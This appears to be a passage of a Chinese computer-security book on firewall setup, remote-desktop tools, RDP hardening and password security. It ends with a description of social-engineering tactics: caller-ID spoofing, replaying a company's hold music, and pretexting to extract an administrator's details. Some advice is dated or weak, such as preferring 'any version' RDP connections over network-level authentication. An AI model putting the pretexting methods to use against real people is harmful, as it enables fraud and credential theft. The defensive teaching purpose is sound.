    {"text": "用户可以在【概况】选项卡对防护级别进行快速地设置，只需单 击【防火墙】和【Defense+】功能区中的【安全模式】下拉列表按 钮，从中选择即可。 COMODO Firewall 的防火墙行为设置有 5项，用户可以切换到 【防火墙】选项卡，单击【防火墙行为设置】文字链接，打开【防火 墙行为设置】窗口，查看每项安全级别的说明信息。 COMODO Firewall的 Defense+安全级别也有5项，用户可以切换到 【Defense+】选项卡，单击【Defense+设置】文字链接，打开 【Defense+设置】窗口，查看每项安全级别的说明信息。"},
    {"text": "（2）【防火墙】选项卡 切换到【防火墙】选项卡，在这里可以查看防火墙事件、查看活 动链接 、指定可信任程序、隐藏端口、指定拦截程序以及设置防火墙 行为和网络安全规则。"},
    {"text": "2 从中选择合适的选项，例如要手动添加一个程序，可以选择 【浏览】选项。 3 弹出【选择应用程序】对话框，在此浏览到想要拦截的程序， 单击 按钮。 4 把程序添加【指定一个新的拦截程序】对话框中的【程序路径/ 组名】文本框里。 单击 按钮即可把该程序添加到拦截规则 列表里。"},
    {"text": "（3）【Defense+】选项卡 切换到【Defense+】选项卡，在此可以查看Defense+事件、查看 活动进程列表、查看无法识别的文件、添加受信任的文件、在沙盘 （sandbox，隔离的程序运行空间）里运行程序以及更改Defense+设置 和计算机安全规则。 在【Defense+】选项卡中，一般使用默认设置即可，用户可以在 此添加已确认的信任文件，也可以先让可疑程序在沙盘中运行，直到 COMODO Firewall把程序标识为可信任程序。 用户如果想要使用 COMODO Firewall的沙盘功能，需要单击 【Defense+设置】文字链接，打开【Defense+设置】窗口并切换到 【sandbox】选项卡，把sandbox的安全级别更改为【启用】，然后保 存设置即可。 （4）【更多】选项卡 切换到【更多】选项卡，在此可以更改COMODO Firewall的设置、 导入导出自己的设置规则、诊断防火墙状态、检查版本更新以及使用 帮助等。"},
    {"text": "用户可以在此导出和导入自己所设置的规则，能快速地使多台电 脑使用相同的安全规则，适用于拥有多台电脑的单位，大大减轻了系 统维护员和网络管理员的工作量。"},
    {"text": "360木马防火墙 360木马防火墙是360安全卫士中的一个组件，在安装360安全卫士 时，该组件即被安装。 360 木马防火墙虽然在网络防护能力不如COMODO，但用户众多， 所以有必要加以介绍，其具体使用方法如下。 （1）启用/禁用防火墙功能 选择【开始】 【所有程序】 【360安全中心】 【360 安全卫士】 【360木马防火墙】菜单，即可打开【360木马防火 墙】程序窗口。 默认情况下，除【局域网防护（ARP）】功能外， 360 木马防火墙中的所有功能都会自动地开启，对于一般用户来说，使用 默认设置即可。 （2）添加/删除信任列表中的程序和功能 切换到【360木马防火墙】 【信任列表】选项卡，在此可以看 到已经添加的信任程序和功能。 位于信任列表中的程序和功能会被360 木马防火墙自动地放行，同时360木马防火墙也不会给出任何提示。"},
    {"text": "如果某些程序或功能不再使用，可以在列表中先选中，然后单击 按钮，将会弹出【360木马防火墙】对话框，单击 按钮即可。 如果以后再次运行该程序，360木马防火墙会弹出提示信息，不再 自动放行。 （3）添加/删除阻止列表中的程序和功能 360木马防火墙尽可能地将复杂的技术隐藏在后台，能自动地检测 那些带有威胁的程序和功能，智能分析网络行为。 对于那些可疑的程 序， 360 木马防火墙还会利用其所拥有的云安全引擎，把它们的信息 与360服务器中的数据库信息进行比对，从而提高判断的准确性，同时 也能简化操作，便于用户的使用。 用户在运行程序时，360木马防火墙会对程序的行为进行分析、判 断，如果发现存在威胁，就会弹出【360木马防火墙提醒您—风险】对 话框。"},
    {"text": "用户可以先选中【记住我的选择，以后 不再提醒】复选框，再选中【阻止程序运行】复选框，单击 把程序添加到阻止程序列表中。 此时被阻止的程序将无法运行，弹出提示对话框，用户只能单击 按钮退出。 当用户再次运行位于360木马防火墙阻止列表中的程序时，会弹出 【360木马防火墙提醒您】对话框，提醒用户该程序已被阻止运行。 如果用户不小心把正常的程序添加到了阻止列表中，可以单击 【360木马防火墙提醒您】对话框中的【解除阻止】文字链接，打开 【360木马防火墙】 【阻止列表】选项卡（或者直接打开该选项 卡），阻止列表中将会显示已经添加的禁止运行的程序。"},
    {"text": "在弹出【360木马防火墙】对话框里，单击 按钮即可。 用户再次运行程序，选择【360木马防火墙提醒您—风险】对话框 中的【允许运行】复选框，然后单击 按钮即可。"},
    {"text": "高手过招 让Windows 7系统安装补丁程序后不再自动重启 在使用Windows Update更新系统补丁时，某些重要更新安装完成 后，会强制要求用户重新启动电脑。 此时任务栏会弹出【Windows Update】对话框，提示电脑将会在 指定时间内自动重启，可以设置的最长时间为4小时，如果用户没有做 出推迟重启的选择，系统会在10分钟内自动重启。"},
    {"text": "1 单击 按钮，在【搜索—运行】文本框中输入 “gpedit.msc”，按【Enter】键打开【本地组策略编辑器】窗口。 2 在左侧导航窗格中依次展开【计算机配置】 【管理模板】 【Windows组件】 【Windows Update】选项，双击右侧窗格中 的【对于已登录用户的计算机，计划的自动更新安装不执行重新启 动】选项。 3 弹出【对于已登录用户的计算机，计划的自动更新安装不执行 重新启动】对话框。 选中【已启动】复选框，单击 按钮，然 后重新启动电脑即可。"},
    {"text": "使用360安全卫士修复Windows 7系统 当Windows 7操作系统出现故障时，用户可以尝试使用360安全卫 士进行修复，具体的操作步骤如下。 1 打开【360安全卫士 8.7】程序窗口，切换到【系统修复】选项 卡，窗口中有【常规修复】和【电脑门诊】两个图标按钮，大部分的 修复操作都可以使用这两个按钮来实现，把鼠标指针移到这两个按钮 上，会弹出提示文本信息。 2 360安全卫士推荐用户先尝试使用【常规修复】功能。 单击【常 规修复】按钮，360开始对系统进行扫描，如果检测到问题，会在列表 中显示出来。 3 检测完毕，360安全卫士会自动选中那些需要修复的选项，用户 只需单击 按钮即可完成修复。 4 用户也可以单击【系统修复】选项卡中的【电脑门诊】按钮 （或者切换到【电脑门诊】选项卡），打开【360 电脑门诊】对话 框，对具体故障进行有针对性的修复。 需要注意的是，360电脑门诊默 认并没有被安装到电脑上，当其首次运行时，360会自动从网上下载并 安装，因此需要电脑能够访问互联网，等待的时间与网速有关。 5 如果用户不清楚自己的故障到底属于哪一类别，可以使用搜索 功能，或者单击【360 电脑专用服务】按钮，打开360聊天对话框，输 入故障描述，360安全专家会给出对应的解决方案。 最后用户还可以使 用360安全卫士【功能大全】选项卡中的【360断网急救箱】、【360系 统急救箱】和【修复网络（LSP）】等小工具，修复疑难故障。"},
    {"text": "7.1 远程监控入门 远程控制可以让系统管理员同时管理多台电脑，即使这些电脑不 在一起，这就为黑客提供了便利。 7.1.1 远程控制基础知识 1. 什么是远程控制 远程控制是指利用网络连接对非本地电脑的控制。 远程控制的方 法基本一样，都是本地操作系统用特定的程序连接远程主机，如果远 程主机有与之相匹配的服务或守护程序，那么就建立连接，这些守护 程序有些设有身份验证，有些没有，没有的就直接建立连接，然后开 始远程控制。 有身份验证的就辨别远程登录用户的合法性，然后或通 过验证开始远程控制，或身份验证信息出错，把远程登录用户拒之门 外。 2. 远程控制的利弊 既然是远程控制，有利方面自然是方便快捷、省时、省力。"},
    {"text": "其局限性不言而喻，主要体现在远程控制只能用在对软 件和软件可以控制的硬件设备的远程控制上，如果硬件出现故障（如 光盘驱动器损坏、内存烧毁等），那么远程控制是无能为力的。"},
    {"text": "可以想象，既然是远程控 制，就存在一个远程控制者的身份问题，如果远程控制者是这台电脑 的负责人，那么毫无问题； 如果刚巧远程控制这台电脑的人是一个非 法登录者，那么麻烦就体现出来了。"},
    {"text": "3. 远程控制的实现方法 在 Windows 操作系统中，系统管理员可以使用系统自带的远程桌 面程序或第三方远程控制软件来实现远程控制。 Windows 操作系统中自带了远程桌面连接程序，其使用方法也比 较简单。 而能实现远程控制的第三方软件比较多，大致可分为专用远 程控制软件（如teamviewer）和其他程序内置组件（如腾讯 QQ）两大 类，除了远程桌面外，其他的第三方远程控制软件都需要安装服务 器、客户端控制软件。 7.1.2 Windows远程桌面连接 1. 什么是远程桌面连接 远程桌面连接是一种能在一台电脑（有时称为“客户端”）上连 接到其他位置的“远程计算机”（有时称为“主机”）的技术。"},
    {"text": "例 如，可以从家庭电脑连接到工作电脑，并访问所有程序、文件和网络 资源，就好像坐在工作电脑前一样。 用户可以让程序在工作电脑上运 行，当回到家时，可以在家庭电脑上看见工作电脑的桌面以及那些正 在运行的程序。"},
    {"text": "2. 设置远程桌面连接 在使用 Windows 远程桌面连接前，需要先对其进行设置，设置的 内容包括是否允许远程电脑进行访问以及在远程用户组中添加用户。 需要注意的是用于远程登录的用户必须设置密码，否则操作系统 会阻止远程用户进行登录，这是因为操作系统的默认策略禁止远程用 户使用空密码（即不设密码）进行登录。 在Windows 7操作系统中，远程桌面的具体设置方法如下。"},
    {"text": "1 单击 按钮，在【计算机】选项上单击鼠标右键，选择弹出 的【属性】快捷菜单项。 2 弹出【系统】窗口，单击左侧窗格中的【远程设置】文字链 接。 3 弹出【系统属性】对话框，切换到【远程】选项卡。 在【远程 桌面】区域中有3个选项，默认选中【不允许连接到这台计算机】单选 钮，在此状态下不允许远程用户的登录； 选中【允许运行任意版本远 程桌面的计算机连接】单选钮时，则允许任意版本的操作系统进行远 程登录； 选中【仅允许运行使用网络级别身份验证的远程桌面的计算 机连接】单选钮，只允许使用网络身份验证的用户进行远程登录。 根 据需要选择合适的远程桌面连接方式（推荐选中【允许运行任意版本 远程桌面的计算机连接】单选钮），接下来单击 按钮。"},
    {"text": "网络级身份验证是一种身份验证方法，在建立完全远程桌面连接 并出现登录屏幕之前完成用户身份验证，可以保护远程计算机免遭黑 客和恶意软件侵扰。 采用网络级身份验证，在验证用户之前，远程计算机只使用有限 的资源，还能降低受到拒绝服务攻击的风险，防止用户连接到设置为 恶意目的的远程计算机。"},
    {"text": "用户可以打开【远程桌面连接】窗口，单击左上角的 图标， 选择【关于】菜单项。 打开【关于远程桌面连接】对话框，如果能看到“支持网络级别 的身份验证”的内容，说明正在运行的远程桌面版本具有网络级别身 份验证功能。 4 弹出【远程桌面用户】对话框添加远程用户，单击 按钮。"},
    {"text": "依次单击 按钮关闭打开的对话框即可完成远程桌面设置。 3. 远程桌面连接 完成远程桌面设置后，用户就可以在局域网中的其他电脑中进行 登录了，登录过程中需要准备登录机名称/IP 地址以及设置好的远程 用户的账户名称和密码信息。 登录Windows XP远程桌面 在Windows 7系统中，用户可以使用远程桌面连接功能登录到已经 设置好的远程主机上，下面以连接Windows 7操作系统为例，具体的操 作步骤如下。 1 单击【开始】按钮 ，在【搜索-运行】文本框中输入“远 程桌面”，【远程桌面连接】程序出现在常用程序列表中，选择【远 程桌面连接】选项。 2 打开【远程桌面连接】对话框，在【计算机】文本框中输入远 程主机的地址，在此输入“192.168.0.96”，单击 按钮。 3 弹出【192.168.0.96—远程桌面连接】对话框，在【密码】文 本框中输入用户Dell的密码。 如果系统中存在两个以上的远程用户，会在远程桌面登录界面上 显示出来，用户可以单击账户进行选择，再输入对应的密码登录即 可。 4 按【Enter】键开始登录到远程电脑。 使用Windows远程桌面进行远程登录连接时，被连接的主机会自动 注销，如果连接过程中远程主机进行了登录操作，则远程连接会自动 断开。 5 被连接的电脑上将会弹出【连接请求】对话框，如果远程主机 正在进行关键操作，可以单击 按钮中断本次连接。 如果远程电脑没有理会该连接请求，即没有单击任何一个按钮， 则会允许该次连接请求。 6 如果远程电脑没有单击 按钮中断连接就能成功地登 录，随后会打开远程桌面连接窗口，可以像本机一样操作远程电脑 了。 7 关闭远程桌面连接窗口时会弹出【远程桌面连接】对话框，单 击 按钮即可退出。 7.1.3 第三方远程监控软件 使用 Windows 系统的远程桌面程序时，如果两台电脑不在同一个 网络里，例如其中的一台位于局域网内，那么远程连接将无法实现。"},
    {"text": "这是因为通常局域网与外网之间呈隔离状态，只能由内网访问外网， 一般不能从外网访问到内网。 解决以上问题的方法有两个，一是更改局域网设置，让外网能够 访问内网；"},
    {"text": "二是改用其他的远程监控软件，例如QQ远程协助、 TeamViewer和XT800等。 1. QQ远程协助 QQ远程协助是腾讯QQ中的一个组件，有强大的穿透功能，不管双 方处于怎样复杂的网络环境中，只要能够正常的登录 QQ，就能实现远 程控制。"},
    {"text": "2012 正式版是 QQ 的较新版本，其中的远程协助功能已经得到简 化，使用起来更加方便。 下面就以QQ2012正式版为例，远程协助的具 体使用方法如下。 1 双方都需要先登录QQ，由申请方打开与协助者间的QQ聊天窗 口，单击【远程协助】图标按钮 ，向协助者发送邀请。 2 QQ 随即发送远程协助申请，被邀请方QQ 聊天窗口的右下角会 显示远程协助信息和按钮，如果同意进行远程协助，单击 按钮即可。 3 QQ开始进行远程连接，稍后即可查看并控制对方的电脑，协助 者可以像控制本机一样操作申请方的电脑。 4 同时申请方 QQ 聊天窗口显示远程控制状态，申请方可以随时 按下键盘上的【Shift+Esc】键中断连接。 5 完成协助操作后，单击【远程协助】窗口中的【释放控制】文 字链接即可关闭远程协助窗口。 使用 QQ 的远程协助功能时，需要注意版本，最好能够使用相同 的版本，否则有可能出现无法连接、速度慢和频繁出错等异常。"},
    {"text": "2. TeamViewer TeamViewer 是一款简单易用且功能强大的远程控制软件，它能穿 越内网，摆脱路由器或防火墙的限制，任何一方都不需要拥有固定IP 地址。"},
    {"text": "TeamViewer 可随时切换主控方和被控方，即双方可以相互控制， 既可以当作成服务器端供其他人连接，也可以当作控制端连接其他为 作为终端的服务器端。"},
    {"text": "4 弹出【添加本计算机至计算机和联系人】界面，选中【我希望 创建 TeamViewer 账户】单选钮，在【用户名】、【电子邮件】、 【密码】和【确认密码】文本框输入必要的信息，然后单击 按钮。"},
    {"text": "使用TeamViewer 双方电脑都启动 TeamViewer 程序后，把自己的 ID 和密码信息 通知给对方，就可以进行远程控制了，具体的操作步骤如下。 1 打开【TeamViewer】程序窗口，在【伙伴标ID】文本框中输入 对方的ID号码，根据需要在【远程控制】和【文件传输】间进行选 择，在此以选中【远程控制】单选钮为例，选择完毕单击 按钮。 2 弹出【TeamViewer验证】对话框，在【密码】文本框中输入密 码（伙伴的随机密码或固定密码），单击 按钮。"},
    {"text": "TeamViewer程序可以实现控制权的转换，原来的你控制别人的电 脑可以转换成别人来控制你的电脑，还能实现远程重启和关机等操 作，另外还能录像远程控制的操作视频。"},
    {"text": "3. XT800 XT800 是原快递通（KDT）全面升级的新系列远程控制软件，包括 个人版、企业版和远程助手版，是一系列可穿透防火墙的远程控制软 件，功能强大，操作简单。"},
    {"text": "下面以XT800个人版为例，具体的使用方法如下。 设置XT800 双方电脑都安装XT800免费版后，启动该程序，对话框下方将会显 示本机的【我的账号】和【授权码】信息，其中的授权码是随机的， 每次程序运行时都会不同，如果用户想要固定的密码，可以设置一个 私密授权码。"},
    {"text": "2 弹出【设置】对话框并切换到【安全策略】选项卡，选中【访 问控制】功能区中的【设置私密授权码】单选钮，并在文本框中输入 密码，设置完毕单击 按钮。"},
    {"text": "使用XT800 首先控制方要知道对方的账号和授权码，随后即可开始连接，具 体的操作步骤如下。 1 启动XT800程序，在【控制远程计算机】文本框中输入被控方的 账号，随后根据需要选择合适的控制方式，在此以远程控制对方电脑 为例，需要选中【通过授权码控制对方计算机】单选钮，单击 按钮。"},
    {"text": "4. 向日葵远控 向日葵远控也是一款免费的远程控制软件，其被控端有需要安装 和免安装两种运行方式，而控制端支持Android、Windows、IOS和Web 四种操作系统。 向日葵远控是一款面向企业和专业人员的远程PC管理和控制的服 务软件。 用户在任何可连入互联网的地点，都可以轻松地访问和控制 安装了向日葵远程控制客户端的远程主机，整个过程完全可以通过浏 览器进行，无需再安装软件。 向日葵远程控制拥有5秒快速而又强劲的内网穿透功力，融合了微 软RDP远程桌面(3389)，用户可以轻松在向日葵远程桌面协议和微软 RDP 协议中自由切换，享受最佳的远程桌面体验。 配置向日葵远控 在使用向日葵运程控制前，需要分别对控制端和受控端进行一些 必要的设置，先在主控端添加主机从而生成连接代码，然后在控制端 上使用该代码进行登录并设置访问密码，最后在主控端使用访问密码 连接并控制被控端。 下面以Windows 7操作系统中，被控端使用绿色版被控端程序，控 制端安装主控端程序为例，具体设置如下。 1 安装并运行向日葵主控端，首先出现的是登录对话框，按要求 输入护照和密码（如果没有可以免费申请）信息，单击 按 钮。 2 弹出【向日葵主控端】窗口，接着添加远程主机（即远程被控 制端），在窗口空白处单击鼠标右键，选择【添加主机】快捷菜单 项。 3 弹出【添加主机】对话框，在【主机名称】后的文本框中输入 远程主机的名称，然后单击 按钮。"},
    {"text": "用户可以在主控端一次添加多台远程主机，从而生成多个葵码， 然后在多个被控端使用生成的不同的葵码登录，实现一台主控电脑控 制多台被控电脑的目的。"},
    {"text": "6 如果用户的电脑安装了360安全卫士之类的安全防护软件，可以 会弹出一个或多个【打开文件—安全警告】对话框，在此需要单击 按钮允许其运行。"},
    {"text": "7 弹出【向日葵被控端】登录对话框，切换到【葵码登录】选项 卡，在【葵码】文本框中输入刚才在主控端生成的代码，单击 按钮。 8 稍后即可成功登录，弹出【向日葵被控端】对话框，接下来需 要给主控端设置远程访问密码，单击【远程控制模块】中的【设置远 程访问密码】文字链接。"},
    {"text": "9 切换到【安全】设置选项卡，在【访问密码】功能区选中【访 问密码验证】单选钮，然后在【密码】和【确认】文本框中输入想要 设置的密码，单击 按钮完成设置。 上图中无法选中【Windows 账号验证】单选钮，这是因为当前的 账号没有设置密码，如果用户想要使用该功能，必须为账号设置密 码。"},
    {"text": "使用向日葵远控 完成以上设置后，用户就可以在主控端使用访问密码连接被控 端，查看被控端的桌面、进行远程控制、打开文件和发送消息，具体 的操作步骤如下。 1 打开主控端程序的主机列表，右键单击其中的主机，选择【打 开远程桌面】快捷菜单项。 2 弹出【远程主机登录】对话框，切换到【访问密码】选项卡， 在【密码】文本框中输入在被控端中设置好的远程访问密码，单击 按钮。 3 稍后即可打开被控端的远程桌面，并出现模式选择对话框，如 果想要远程控制就选中【控制模式】单选钮，如果只是想查看被控端 的桌面，则选中【观看模式】单选钮，最后单击【确认】按钮即可。"},
    {"text": "主控端在无须被控端同意的情况下就能进行远程控制，此时被控 端的桌面背景会被替换成黑色，被控端的日志中也会记录相应的连接 信息，因此用户可以很清楚地了解到被控端连接的相关信息。 7.2 防御远程监控 防御远程监控的最好方法是设置3389端口，加强系统账户管理， 设置足够强壮的密码，安装、启用并配置系统防火墙。 作为使用率最高的远程控制服务，远程桌面是很多服务器的必备 组件，很多管理员也习惯利用3389端口进行远程维护，这样是方便了 管理，但同时也方便了很多攻击者——开启的远程桌面组件“免费” 为他们提供了一个突破口，而且一旦突破就具有很高的权限。 作为管理员来说，远程桌面应尽量不用，如果一定要用，则应该 采用安全技术和相关策略对其进行加固和维护，从而实现既能满足日 常的管理需要，同时又可以抵御攻击者的攻击的目的。 目前针对远程桌面本身的攻击主要有暴力破解和嗅探，比较有效 的防御方法主要有以下几种。"},
    {"text": "7.2.1 更改3389端口 默认情况下，远程桌面的端口号是 3389，不管是攻击者还是管理 员都知道这一点，所以最简单的安全措施就是修改这个默认的端口。 1. 通过注册表更改端口号 用户可以使用 Windows 的注册表编辑器来更改远程桌面的端口 号，具体的操作步骤如下。"},
    {"text": "接着展开【HKEY_LOCAL_MA- CHINE\\SYSTEM\\Current ControlSet\\Control\\T-erminalServer\\Wds\\rdpwd\\Tds\\tcp】子键值项，双击右侧空格中的 【PortNumber】键值。"},
    {"text": "2. 通过小工具更改端口号 如果用户觉得手工修改注册表不便于记忆，又不安全，可以使用 工具来进行修改。 网络上有很多的专门用于修改远程桌面3389端口的工具，很简单 也很方便，具体使用方法如下。 1 运行程序后，会自动读取远程桌面的端口号并显示在对话框 中，在文本框中输入新的端口号，例如“120”。 2 单击 按钮，弹出【提示】对话框，提示用户需要重 新启动电脑才能使用新的端口进行远程桌面访问，同时询问是否把新 的端口添加到Windows防火墙的例外列表里，单击 按钮。"},
    {"text": "3. 查看端口信息 在电脑重新启动后，用户可以使用“netstat–an”命令查看电脑 端口，此时系统已经在监听新的端口120，而原来开放的3389端口已经 关闭了。 4. 使用新端口连接远程桌面 当电脑上的远程桌面端口修改以后，使用原来的远程桌面程序和 原来默认IP地址的方式，是不能进行登录的，系统会出现错误提示。 此时需要在远程桌面程序中填写IP地址加修改后的端口，例如一 台IP地址为192.168.100.201的电脑，现在把远程桌面端口更改为 120，应该输入“192.168.100.201：120”。 通过上面的几个简单步骤，就实现了远程桌面端口的更改，这样 对攻击者具有很大的迷惑性，能提高一些远程桌面的安全性。 7.2.2 取消上次远程登录的用户名记录 默认情况下，远程桌面会记录上次登录的用户的用户名，如果攻 击者获得了这个用户名，可能发起暴力破解等攻击。 所以在构建安全 的远程桌面时，需要让系统不再记录上次登录的用户名。 用户可以使用【组策略编辑器】，来取消显示远程桌面登录界面 中的账户名，具体的操作步骤如下。"},
    {"text": "2 打开【本地组策略编辑器】窗口，展开【计算机配置】 【Windows设置】 【安全设置】 【本地策略】 【安全选 项】选项，双击右侧窗格中的【交互式登录：不显示最后的用户名】 策略。 3 弹出【交互式登录：不显示最后的用户名属性】对话框，选中 【已启用】单选钮，然后单击 按钮。 4 当电脑重新启动后，再次运行远程登录桌面程序，此时登录界 面将不再显示登录的用户账户名称。 用户还可以使用注册表编辑器程序，使远程桌面登录窗口不显示 上次登录的用户名。"},
    {"text": "打开注册表编辑器程序窗口，展开 【HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon】子键值项，在右侧窗格中新建一个双 字节值项，将其命名为“DontDisplayLastUserName”，并把键值修改 为“1”。"},
    {"text": "7.2.3 设置强壮的密码 密码是验证用户身份的证明，只有输入正确的密码才能继续下面 的操作。 因此设置的密码强度要足够，还要养成良好的密码使用习 惯。"},
    {"text": "一般来说，一个比较好的密码规则，应包含如下特征。 ① 足够的密码强度 足够的密码强度包含两个方面的内容，一是密码长度，二是包含 内容。 一般来说，强壮的密码要满足以下要求： 一、长度要足够，至少要8位以上；"},
    {"text": "③ 通用性要强 是指密码规则不能太极端，要考虑到不同网络应用中的实际情 况，要能包含所有的网络应用，不出现或尽量少出现自己的密码规则 在某一个服务下无法生成或者产生错误的情况。 ④ 不能具有明显的规律性 密码规则不能具有明显的规律性，这样万一泄漏了其中的一个密 码后，攻击者不能使用它去登录其他的网络应用。"},
    {"text": "7.2.4 使用IPSec限定访问者 用户即使对远程桌面进行了上面的相关设置，只能说为暴力破解 增加了一定的难度，对于嗅探攻击来说，还需要使用更加灵活和安全 的防护措施。 此时可以使用防火墙并设置IPSec限制用户。"},
    {"text": "IPSec（Security Architecture forIPnet-work，Internet 协议 安全性）是一种开放标准的框架结构，通过使用加密的安全服务以确 保在 Internet 网络上进行保密而安全的通信。 简单点讲，IPSec是一种加密通信方式，使用IPSec保护的信息， 在发送前会被加密，只有接收者才能正确解密，其他的用户即使拦截 到了，也无法正确解密，不能获取传送的内容。"},
    {"text": "1 单击 按钮，依次打开【控制面板】 【系统和安全】 【Windows防火墙】窗口。 2 单击【高级设置】文字链接，打开【高级安全Windows防火墙】 窗口，选中左侧导航窗格中的【入站规则】选项，在右侧窗格中双击 【远程桌面（TCP-In）】规则。 3 弹出【远程桌面（TCP-In）属性】对话框，切换到【作用域】 选项卡。 4 选中【远程IP地址】功能区中的【下列IP地址】单选钮，单击 按钮。 5 弹出【IP 地址】对话框，根据需要选中合适的选项，在此以输 入IP地址范围为例，选中【此IP地址范围】单选钮，然后在【从】文 本框中输入起始IP地址，在【到】文本框中输入终止IP地址后单击 按钮。 6 IP地址段就添加到作用域选项卡中的远程IP地址列表中。"},
    {"text": "7 切换到【远程桌面（TCP-In）属性】 【常规】选项卡，确 保已选中【常规】功能区中的【已启用】复选框和【操作】功能区中 的【只允许安全连接】单选钮。 单击 按钮，即可开启 IPSec安全防护，此时只有刚刚定义的IP地址段才能进行远程桌面端口 的访问，其他的IP地址不允许访问。 经过以上设置后，即使攻击者获取了目标电脑的远程桌面账号和 密码，也不能正常登录，从而提高了系统的安全性。"},
    {"text": "高手过招 为向日葵远程创建新的桌面模式 在使用向日葵进行远程访问时，被控端的桌面背景会变为黑色。 这是因为默认情况下，为了加快加载速度，向日葵的远程桌面在全能 模式、工作模式和观看模式下都是不会加载远程桌面背景。"},
    {"text": "2 出现登录页面，在【账号】和【密码】文本框中输入正确的信 息，输入完毕单击 按钮。 3 稍后即可成功登录，单击页面右上角的【全局设置】文字链 接。 4 出现【远程桌面】页面，单击【创建模式】文字链接。 5 出现远程桌面设置页面，在【桌面模式名称】文本框中输入 “不关闭桌面背景”，然后在【效果设置】功能区撤选【远程桌面时 自动关闭桌面效果】复选框。 6 根据需要完成其他设置后单击 按钮，即可创建名为“不 关闭桌面背景”的新桌面模式。"},
    {"text": "桌面模式的选择需要在向日葵网站上进行设置，具体的操作步骤 如下。 1 登录向日葵网站首页，切换到【主机列表】界面，在此可以看 到已经设置好的主机列表，单击想要关闭桌面黑屏的主机，此例中单 击【办公室电脑】选项。"},
    {"text": "第3篇 密码攻防 本篇将介绍密码方面的攻防，主要讲解密码的破解原理、常见应 用软件密码的设置与破解、操作系统密码的破解以及如何提高密码的 安全性等内容，大部分的黑客攻击都会伴有密码的破解行为…… 第8章 密码攻防 第8章 密码攻防 在电脑中有着各种各样的硬件密码、系统密码、软件密码和数据 密码，它们在提高安全性的同时，也会引起黑客的兴趣。"},
    {"text": "对黑客来 说，每一次的攻击往往都会伴随着破解密码，他们会想尽办法来破解 密码，从而来获取密码保护下的信息，或者为接下来的攻击做准备。"},
    {"text": "8.1.1 密码设置的常见隐患 有些用户在设置密码时，为了方便记忆，会设置一些比较简单、 比较有规律的数字或字母，或者用自己的生日和姓氏作为密码，这些 都会被黑客轻易地破解，从而给用户信息安全埋下极大的安全隐患。 一般来说，下面的几类密码设置方式应该尽量避免。 密码和用户名相同 例如用户名和密码都设置为123456789。"},
    {"text": "密码为用户名中的一部分 密码为用户名中的某几个邻近的数字或字母。 例如用户名为 user001，密码为user或001。 如果您的用户名是字母和数字组合，那 么黑客在盗取密码时，肯定会先以用户名中的字母或数字来尝试密 码。"},
    {"text": "密码为连续或相同的字母 如abcdef、bbbbbb等。 字母虽然比数字多，但是先尝试相同的字 母如aaaaa，再试连续的字母如abcdef，破解所用的时间也不会太多。 将用户名颠倒或加前后缀作为密码 例如用户名为user，密码为user123、auser、seru 等。 以用户名 user 为例，黑客软件在尝试使用 user 作为密码之后，还会试着使用 诸如user1、user123、user1、usre、uers 等不同的组合作为密码进 行尝试，基本上所有的组合都会尝试一遍。 使用姓氏的拼音作为密码 大多数的黑客软件中，百家姓会被逐一列出，并放在字典文件的 前列。 如果用户使用了姓氏作为密码，那么使用这样的字典很快就能 破解密码。 另外，如果黑客使用了社会工程学原理，得到了你的真实 姓名，那么很可能以姓氏或姓名的拼音作为密码进行尝试破解。"},
    {"text": "使用自己或亲友的生日作为密码 由于月份最多只有 12，日期最多只有 31，而年份一般会用19xx 或20xx来表示，因此表达方式只有 100×12×31×2＝74400 种，即使 考虑到年月日共有 6 种排列顺序，一共也只有74400×6＝446400 种。"},
    {"text": "使用8位以下的数字作为密码 数字只有10个，8位数字组成方式只有10的8次方＝100，000，000 种，按目前普通电脑的破解速度，黑客只需几个小时就可以尝试完所 有的密码。 5位以下的小写字母加数字 小写字母加数字一共 36 位，组合方式只有36的5次方＝60， 466，176种可能性，按普通的计算机每秒搜索 3～4 万种的速度计 算，黑客只需几十分钟就可以破解密码。"},
    {"text": "8.1.2 密码的社会工程学 所谓“社会工程学攻击”，就是利用人们的心理特征，骗取用户 的信任，获取机密信息、系统设置等不公开资料，为黑客攻击和病毒 传播创造有利条件。"},
    {"text": "其基本含义可以理解为：黑客社会工程学是利 用人的心理特点（比如人的本能反应、好奇心、信任）以及规章制度 存在的一些漏洞进行欺骗，从而获取需要的信息，比如计算机密码、 信箱密码、甚至包括银行账户密码等。"},
    {"text": "例如，黑客想要获得某个单位的服务器的管理员密码，传统的攻 击方法是借助各种工具尽量攻入网络中，甚至采用穷举等方法来暴力 破解。 但是使用社会工程学却完全不一样，他会首先了解单位和管理 员的个人信息，然后找到与管理员有直接或者间接工作关系的人群， 进而再伪造出一个合适的身份给管理员打电话，谎称机器故障等原因 让管理员说出密码，当然攻击者可能会通过一些可以修改来电显示的 工具来伪造身份，让管理员非常信任，比如伪造成单位老总的电话。"},
    {"text": "这个工作其实是一系列 的连续动作，比如，黑客只是知道这个管理员的名字，那么他可以先 拨打公司的总机电话，先找管理员的同事，如果确认管理员不在，可 以声称自己是管理员的一个合作伙伴，需要提供管理员的QQ号码等信 息，这时戒备心不重的同事往往就将QQ号码泄露。 接下来黑客就可以 通过管理员的 QQ 号码了解到信箱、博客空间、个人照片和社交网站 等内容，进而采用其他手段获取到想了解的管理员的信息。"},
    {"text": "从这里也可以看到，黑客社会工程学实际上是一种迂回战术，通 过相关信息的搜索、分析，进而获得攻击者需要的东西。 社会工程学 不是利用软件的漏洞，也不是利用系统的漏洞，是利用人的漏洞，是 利用规章的漏洞…… 在实际操作中，黑客社会工程学攻击常用的手段有以下5种。"},
    {"text": "电话欺骗 电话号码欺骗，是最基本的，也是最常使用的。 攻击者常常会利 用电话号码欺诈术，让目标显示的来电号码与主叫号码不一样，常把 主叫号码更改为和攻击目标者接近的号码。 例如，攻击者可能是从公 用电话厅打的电话，但目标电话显示的来电号码会让目标误认为来自 同一家公司。"},
    {"text": "此外，对于那些有定制音乐的企业和单位，黑客可能会采用来电 音乐来进行欺骗，黑客会有意拨通电话，录下企业的等待音乐，在他 给某个目标对象打电话时，往往会在谈上一会儿后说：“抱歉，我的 另一部电话响了，请别挂断。 ”这时，被攻击者就会听到很熟悉的公 司定制的等待音乐，然后会理所当然地认为此人肯定与自己在同一公 司工作，因而产生信任，之后黑客会再以你同事的名义联系，就很容 易的获得想要的信息。"},
    {"text": "因为很多人对这些网站都十分地信任，黑客正好利用用户的信 任，制作了一些逼真的假冒邮件，内容有可能是“本站已更新软件版 本，请在此输入信息以便及时升级。"},
